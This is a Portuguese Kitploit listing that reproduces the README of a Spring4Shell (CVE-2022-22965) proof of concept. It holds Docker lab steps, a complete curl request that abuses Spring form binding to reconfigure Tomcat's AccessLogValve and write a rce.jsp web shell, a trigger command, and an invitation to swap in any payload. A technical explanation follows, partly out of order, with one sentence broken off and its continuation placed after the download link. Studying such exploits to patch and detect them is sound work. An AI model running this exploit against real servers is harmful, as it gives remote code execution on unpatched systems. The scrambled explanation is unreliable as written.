Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-22965-PoC — Exploit de prova de conceito para CVE-2022-22965 (Spring4Shell) demonstrando execução remota de código via manipulação do Tomcat AccessLogValve. Inclui ambiente de reprodução baseado em Docker e análise técnica detalhada. | Kitploit
Ferramentas/GitHubGitHub/kirill89/cve-2022-22965-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubkirill89/cve-2022-22965-poc

CVE-2022-22965-PoC

Exploit de prova de conceito para CVE-2022-22965 (Spring4Shell) demonstrando execução remota de código via manipulação do Tomcat AccessLogValve. Inclui ambiente de reprodução baseado em Docker e análise técnica detalhada.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
3221há 4 anosRevisado pelo Kitploit

CVE-2022-22965 PoC

Exemplo mínimo de como reproduzir CVE-2022-22965 Spring RCE.

Executar usando docker compose

  1. Construa a aplicação usando Docker compose
    root@kitploit:~
    docker-compose up --build
    
  2. Para testar a aplicação, navegue para http://localhost:8080/handling-form-submission-complete/greeting
  3. Execute o exploit
    root@kitploit:~
    ./exploits/run.sh
    
  4. O exploit irá criar o arquivo rce.jsp em webapps/handling-form-submission-complete no servidor web.
  5. Use o exploit Navegue para http://localhost:8080/handling-form-submission-complete/rce.jsp

Maneira alternativa (orientada a debug)

  1. Execute o servidor Tomcat no docker

    root@kitploit:~
    docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
    

    Adicione -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" se quiser depurar remotamente.

  2. Compile o projeto

    root@kitploit:~
    ./mvnw install
    
  3. Implante a aplicação

    root@kitploit:~
    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
    
  4. Escreva o exploit

    root@kitploit:~
    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
      http://localhost:8888/handling-form-submission-complete/greeting
    

    O exploit irá criar o arquivo rce.jsp em webapps/handling-form-submission-complete no servidor web.

  5. Use o exploit

    root@kitploit:~
    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    

    Agora você verá 123 no terminal do container. Substitua System.out.println(123) pelo seu payload para executar código arbitrário.

Breve explicação técnica

  1. O Spring sabe como vincular campos de formulário a objetos Java. Em nosso exemplo, o GreetingController lida com requisições POST no endpoint /greeting e vincula campos de formulário ao objeto Greeting.
  2. Ele também suporta vinculação de campos aninhados (ex.: user.info.firstname). Consulte o AbstractNestablePropertyAccessor para referências.
  3. Em nosso exemplo, a classe Greeting tem dois campos id e content, mas na verdade ela também tem uma referência ao objeto Class. Podemos usar class.module.classLoader como chave de dados do formulário para acessar o classloader.
  4. No correção podemos ver que a principal mudança foi restringir o acesso à maioria das propriedades do objeto Class, incluindo a propriedade module.
  5. Esse comportamento nos permite definir propriedades públicas de classes acessíveis através da cadeia de referências aninhadas a partir da classe Greeting. Nada mais. Na maioria dos casos, nem é perigoso porque nenhuma classe com campos públicos está disponível mesmo a partir de .

Condições

O exploit funciona apenas no Tomcat porque ele tem um classloader especial. Embora uma cadeia de referências semelhante possa existir em outros servidores de aplicação web também. Ainda não foi simplesmente descoberta.

O exploit requer Java 9 ou superior porque a propriedade module foi adicionada no Java 9.

Referências

  • A parte do servidor é baseada no manual passo a passo https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a.
  • A parte do exploit é baseada no script https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py.
  • O aviso da Snyk sobre a vulnerabilidade está disponível aqui: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751
Baixar ferramenta
class.module.classLoader.
  • Isso se torna um problema no servidor Tomcat porque o classloader lá tem o acessador getResources que nos permite continuar a cadeia de referências e acessar uma das instâncias da classe AccessLogValve.
  • Essa classe é destinada a escrever logs. Alteramos algumas propriedades para fazê-la escrever arquivos com o nome e conteúdo de nossa escolha. Temos escrita arbitrária de arquivos neste ponto.
  • Criamos um arquivo jsp na raiz da pasta da aplicação com o payload malicioso. Como os jsp são automaticamente executados pelo Tomcat, podemos navegar até ele no navegador e eventualmente executar o payload. Agora é RCE.